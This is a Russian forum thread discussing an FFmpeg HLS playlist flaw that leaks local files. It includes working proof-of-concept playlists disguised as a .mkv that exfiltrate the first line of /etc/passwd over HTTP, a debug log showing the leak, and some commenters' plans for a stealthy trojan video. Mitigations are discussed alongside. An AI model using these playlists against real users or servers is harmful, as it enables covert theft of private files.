Банальный ffprobe

с ffprobe тоже все работает точно так же, как и с ffmpeg :)

Какая, к чёрту, уязвимость?

А пользователи десктопных Linux'ов тоже должны фильтровать ввод и не запускать, а точнее даже не скачивать «недоверенные видео»?

Ах, да. Блииииин.

Да тут я погорячился. Упустил момент с некорректной работой concat: протокола если нет \n в конце play-листа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735299. Тогда да, только входным файлом можно передать на сервер необходимую информацию. Это уже косякс.

Тогда просто тупая фильтрация типа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735249

Имеет смысл запретить concat протокол:

–disable-protocol=concat

кому нужно, склеить можно будет через фильтры: https://www.ffmpeg.org/ffmpeg-filters.html#concat

Уязвимость в FFMpeg, позволяющая читать любые файлы в системе (комментарий)

hls по умолчанию включен ?

MPlayer, MPlayer2, MPV подвержены?
Вроде у них своя либа.
Вообще неплохо бы перечислить безопасные плееры.

например, /etc/passwd

Можно полностью отобрать у юзеров права на подобные файлы

Нет, они используют системный ffmpeg.

нет, если злоумышленник передаст файл а ты сделаешь тамбнейл то у него будут твои файлы)

Это логичное следствие запихивания в одну либу всего возможного барахла на свете.

Только мне послышалось systemd ? :-)

У меня это тоже вызвало знакомые ассоциации с кучей всего что НИНУЖНО.

Такой вопрос к тем кто разбирался в теме: Можно-ли сделать видео-файл с данной закладкой, который будет иметь типичный размер для видео-файла, который будет в итоге воспроизводиться видео-плеером, но на старте воспроизведения будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер ?

Эх... как всё печально стало в линуксах с секурностью. Вот совсем недавно делал профиль AppArmor для Firefox'а, теперь, видимо, придётся делать профиль с ограничением на сеть для видео-проигрывателей и утилиты ffmpeg (как я понял, thumbnailer'ы часто просто её напрямую запускают).

Вменяемого репорта на английском, как я вижу, нет. Смотрел на bugtraq, FullDisclosure, просто гуглил. Мэйлру решили попиариться в локальных масштабах, без дискуссии с сообществом разработчиков ffmpeg и безопасников, так и запишем.

ололо!

Это лол какой-то. Статью - не читай, новость - пиши!

Разработчики сами себе ставят грабли и потом бегают по ним, при этом валят на производителей стороннего софта. Ffmpeg обрабатывает данные согласно протоколу.

тлдр. Проверяйте входные данные перед работой с ними.

Ещё во времена студенчества, когда я делал всякие сайты за еду, заказчик захотел сайт «доска объявлений с картинками». Естественно, любой аноним мог постить картинки в любом количестве. Чтобы не запороть систему, входные картинки были ограничены набором форматов. Естественно, формат нужно проверять. Например, в лине есть команда file, которая позволяет узнать формат файла. Результат может основываться на расширении файла или на сигнатурах (используется libmagickfile или как-то так).

Соответственно и здесь прежде чем отдавать данные в ffmpeg нужно проверять - готовы ли вы обработать данные, которые пришли, или - нет.

Другая ситуация была бы, если бы пришел валидный mp4, а внутри одним из фреймов был заинжекчен указанный плейлист, и ffmpeg вместо ошибки начал бы обрабатывать этот плейлист.

WARNING: Option --disable-demuxer='hls,applehttp' did not match anything

который будет иметь типичный размер для видео-файла

Да. Просто добейте комментариями вида '# строка'

который будет в итоге воспроизводиться видео-плеером

попробуйте VLC, ffplay (этот точно будет)

будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер

отправится только первая строка файла. Протокол concat сделать в лобо: но читает последовательно байты из первого файла, потом из второго, потом из третьего. Суть проблемы в том, что в первом файле может быть только один URL, а буффер может быть больше этого юрла, тогда сначала в запрошенный буффер записывается этот самый URL:

http://example?

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae

http://example?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae

далее он пытается открыть этот самый юрл, отправится то, что до первого перевода строки. Но дальше уже ничего слаться не будет - что это за

daemon:x:1:1:dae

Хотя у меня на этом месте FFmpeg тупо впал в ступор:

ffmpeg version 2.8.3 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.8 (Ubuntu 4.8.4-2ubuntu1~14.04)
  configuration: --prefix=/opt/ffmpeg --libdir=/opt/ffmpeg/lib/ --enable-shared --enable-avresample --disable-stripping --enable-gpl --enable-version3 --enable-nonfree --enable-runtime-cpudetect --build-suffix=.ffmpeg --enable-postproc --
  libavutil      54. 31.100 / 54. 31.100
  libavcodec     56. 60.100 / 56. 60.100
  libavformat    56. 40.101 / 56. 40.101
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 40.101 /  5. 40.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.101 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Splitting the commandline.
Reading option '-v' ... matched as option 'v' (set logging level) with argument 'debug'.
Reading option '-i' ... matched as input file with argument 'test.mkv'.
Reading option 'out.avi' ... matched as output file.
Finished splitting the commandline.
Parsing a group of options: global .
Applying option v (set logging level) with argument debug.
Successfully parsed a group of options.
Parsing a group of options: input file test.mkv.
Successfully parsed a group of options.
Opening an input file: test.mkv.
[hls,applehttp @ 0x11b2be0] Format hls,applehttp probed with size=2048 and score=100
[hls,applehttp @ 0x11b2be0] HLS request for url 'concat:./header.m3u8|file:///etc/passwd', offset 0, playlist 0
Format hls,applehttp probed with size=2048 and score=100
[AVIOContext @ 0x11b9820] Statistics: 2359 bytes read, 0 seeks
[hls,applehttp @ 0x11b5a00] HLS request for url 'http://localhost?root:x:0:0:root:/root:/bin/bash', offset 0, playlist 0
[http @ 0x11b6a40] request: GET ?root:x:0:0:root:/root:/bin/bash HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost
Icy-MetaData: 1


[hls,applehttp @ 0x11b5a00] Failed to open segment of playlist 0
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b99c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9ca0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c80] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9d00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9a60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11bb3c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks

Строчки:

[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks

Ну автор в комментах пообещал репорт: http://habrahabr.ru/company/mailru/blog/274855/#comment_8736815

Ну значит типичные хабрапользователи посоветовали не попробовав, бывает

Ну, про чтение нескольких строчек, в оригинальной статье - тоже что-то писалось. Проверить самому сейчас просто нету времени, так что предположу, что как-то это сделать может и можно.

А вам не удалось в итоге сделать такой «видео»-файл, который успешно откроется проигрывателем, выполнит закладку, и самое главное - ВОСПРОИЗВЕДЁТ видео которое в нём записано ? Что-бы пользователь даже не догадался что его хакнули.

Пока-что, как я понял, сделать такую «многоходовочку» ещё не удалось. Если найду время, обязательно поэкспериментирую. Может можно как-то сделать имитацию локального воспроизведения через какой-нибудь вложенный плейлист, а сам локальный файл-троян добить символами # до размера не вызывающего подозрений.

П-Ц

РЕШЕТО

UPD: вот чуть более удачный пример: http://pastebin.com/f7sRFYhH сами видите сколько там HTTP запросом с данными.

Да, но в этом случае запись идёт в локальный же файл. Пример с HTTP запросом приколен в том, что не имея доступа к результирующему файлу - данные утекают. Но одна строчка.

Собственно такой такой вариант (запись в выходной файл) опасен для серверов, а с передачей данных вместе с запросом - для рядового пользователя в первую очередь.

Умеет через gstreamer-vaapi, начиная с gnome-3.16, но изображение всё равно идёт с рывками, хотя напрямую через gst-launch всё идеально. Да и в последнем gtreamer-vaapi по слухам улучшили работу. А не работал totem предыдущих версий из-за того, что использовал какой-то виджет gtk, который делал бяку.

Но со стабильным дебьяном мне ещё долго это не проверить.

Почти после полугодового ядерного взрыва, выжившие рассказали как это было.

GrayHats же. Имхо, все правильно сделали.

как я понял по этому примеру, это как раз то что нужно: то есть, «имитация» локального воспроизведения файла для пользователя, и кража данных, строчка за строчкой, при выполнении каждого HTTP запроса из плейлиста. Осталось дело за малым - просто добить плейлист до нужного размера, и будет казаться что воспроизводиться локальный файл.

Можно просто пересобрать ffmpeg

Это всё херня, ffmpeg всегда был, есть и будет решетом. Поэтому на всех видеохостингах оно запускается изолированно.

Любые файлы в системе))) Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

вот header.m3u8:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/file540.mp4?

вот test.mkv с множеством запросов:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

а вот результат запроса: http://pastebin.com/UZGrfYGJ

сами видите, сколько данных утекло. Соединяются только header.m3u8 и file://, причём утечку пользовательских данных вызовет только ОДИН реквест - который самый последний в header.m3u8. Остальные нет, даже если они будут. Строчка за строчкой прочитать файл /etc/passwd не получится.

Т.е. этот вариант сработал бы даже с ffplay, vlc и так далее. Все остальные варианты, которые могут вызвать ПОЛНОЕ чтение файла требуют конвертации и передачи полученного файла злоумышленнику.

Строчка за строчкой прочитать файл /etc/passwd не получится.

Автор говорит, что все получается, это простого готового PoC для этого в статье не опубликовано: http://habrahabr.ru/company/mailru/blog/274855/#comment_8737047

Помню что mplayer без специального ключа отказывался работать с определенным форматом плейлиста, примерно по похожим причинам.

Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками!

Наркомания.

Подскажите для Ъ - эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

как всегда не нужна
fixed

Протокола.

Эх... как всё печально стало в линуксах с секурностью.

Осталось понять, как вы связали безопасность линукса с дыркой в протоколе, который реализован в юзерспейсной либе?

В /etc/passwd уже тысячу лет ничего полезного не лежит. Кто-то на другом конце мира узнает, какой у меня shell. Ну охренеть теперь.

Куда более неприятно получить доступ к ~/.ssh/id_rsa.

Уязвимость формата, который позволяет слишком много странного. Ну в какой-то мере можно считать уязвимостью ffmpeg, ибо зачем такие странные форматы реализовывать полностью. По крайней мере при сборке по умолчанию уж точно такое надо отключать.

у меня 3.18 - вообще не работает, на 3.16, да, работало, но тоже как-то странно, дергания при pause-play, какие-то странные артефакты при старте, короче, неюзабельно. вообще, тотем - это кусок говна а не плеер (притом что старые версии смотрятся годно, видать @#$%^&* из outreachy постарались все изгадить), но, в связи с, приходится им смотреть, без vaapi.

хотя, опять же, не уверен, что libav этот баг не касается.

Сам ты наркомания. Телесуфлер!

эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

Ffmpeg слишком умный. С одной стороны в спеке вроде как нет упоминаний об ограничениях на URLы в m3u8 плейлисте. И нет упоминаний, могут ли реализации вносить ограничения типа «запросы только с того же основного домена» или «нельзя менять схему». Из-за этого можно конечного пользователя превратить в элемент DDoS ботнета. Но это протокол такой.

С другой стороны, ffmpeg кроме обычных схем (http, https, ftp), позволяет использовать и свои. Например, concat позволяет вытащить строку из файла, прилепить её к ссылке и пройти по этой ссылке. За один заход можно утащить первую строку из любого локального текстового файла. Subfile позволяет утащить строку откуда-нибудь из середины текстового файла.

А ещё ffmpeg может рендерить текст в картинки: ffmpeg -i /etc/passwd out.mp4.

Собственно это моя дискуссия с ним. Обрати внимание на дальнейшие эксперименты.

А, хотя стоп. Понял как сделать.

/etc/passwd: Invalid data found when processing input

Гента с USE=-* как всегда рулит и пердолит.

Хвалёный свободный софт.

Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

Ну сделай там +r для всех, и всё будет. Не надо же понимать буквально, рута посредством ffmpeg не получить.

http://habrahabr.ru/company/mailru/blog/274855/#comment_8737175

Неа, несколько concat в test.mkv не спасли. FFmpeg в транс впадает. Такое ощущение, где-то логика ломается и усё.

Судя по комменту автора статьи на хабре (спасибо h4tr3d за линк):

UPD: патч/репорт в ffmpeg/libav отправлены

libav баг тоже касается.

http://habrahabr.ru/company/mailru/blog/274855/#comment_8737175

Люто и бешено плюсую!

Нету предметнаго и чоткаго обсуждения с безопасниками сего происшествия. Видимо местное быдло мыло решило пропиарится!

Вот, кстати, так и не получилось даже при помощи subfile вывести целиком в несколько запросов. Уже сделал и куски маленькие, что бы ошмётки не портили плей-лист, нифига.

При чём тут свободный софт, если эта уязвимость появилась по вине Apple?